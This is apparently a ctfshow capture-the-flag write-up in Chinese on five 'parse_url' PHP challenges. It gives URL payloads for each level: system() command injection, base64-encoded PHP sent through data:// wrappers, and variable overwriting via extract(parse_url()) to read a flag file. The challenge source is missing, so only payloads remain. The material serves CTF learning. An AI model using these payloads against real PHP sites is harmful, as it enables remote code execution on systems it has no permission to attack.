ctfshow大挑战–parse_url
第一关
1 |
|
直接执行host
直接?u=http://system('ls');
是可以的,但是想要读取根目录是不行的,因为含有/
可以:?u=http://system(‘cd ..;cd ..;cd ..;ls’);
或者使用base64编码
第二关
1 |
|
包含host和path
可以这样
1 | ?u=data:data:;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4= |
因为data协议是可以不用//的,所以也不会造成解析错误
第一个data是被解析为了schema
第三关
1 |
|
和第二关差不多
稍微修改一下即可
1 | ?u=data::;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4= |
第四关
感觉和第一关差不多
1 | ?u=http://cd ..;cd ..;cd ..;ls; |
同样,base64解码也可
第五关
1 |
|
变量覆盖,先看payload
1 | ?u=fragment://pass:query@user/path?scheme%23data:;base64,PD9waHAgc3lzdGVtKCd0YWMgL19mMWFnXzFzX2gzcmVlJyk7Pz4= |
经过extract(parse_url($_GET[‘u’]));代码之后
可以得到以下结果(将u进行var_dump)
1 | { 'scheme' => string(8) "fragment" 'host' => string(4) "user" 'user' => string(4) "pass" 'pass' => string(5) "query" 'path' => string(5) "/path" 'query' => string(6) "scheme" 'fragment' => string(65) "data:;base64,PD9waHAgc3lzdGVtKCd0YWMgL19mMWFnXzFzX2gzcmVlJyk7Pz4=" } |
从host变量开始,可以发现形成了一个闭环,最终也是包含了我们的伪协议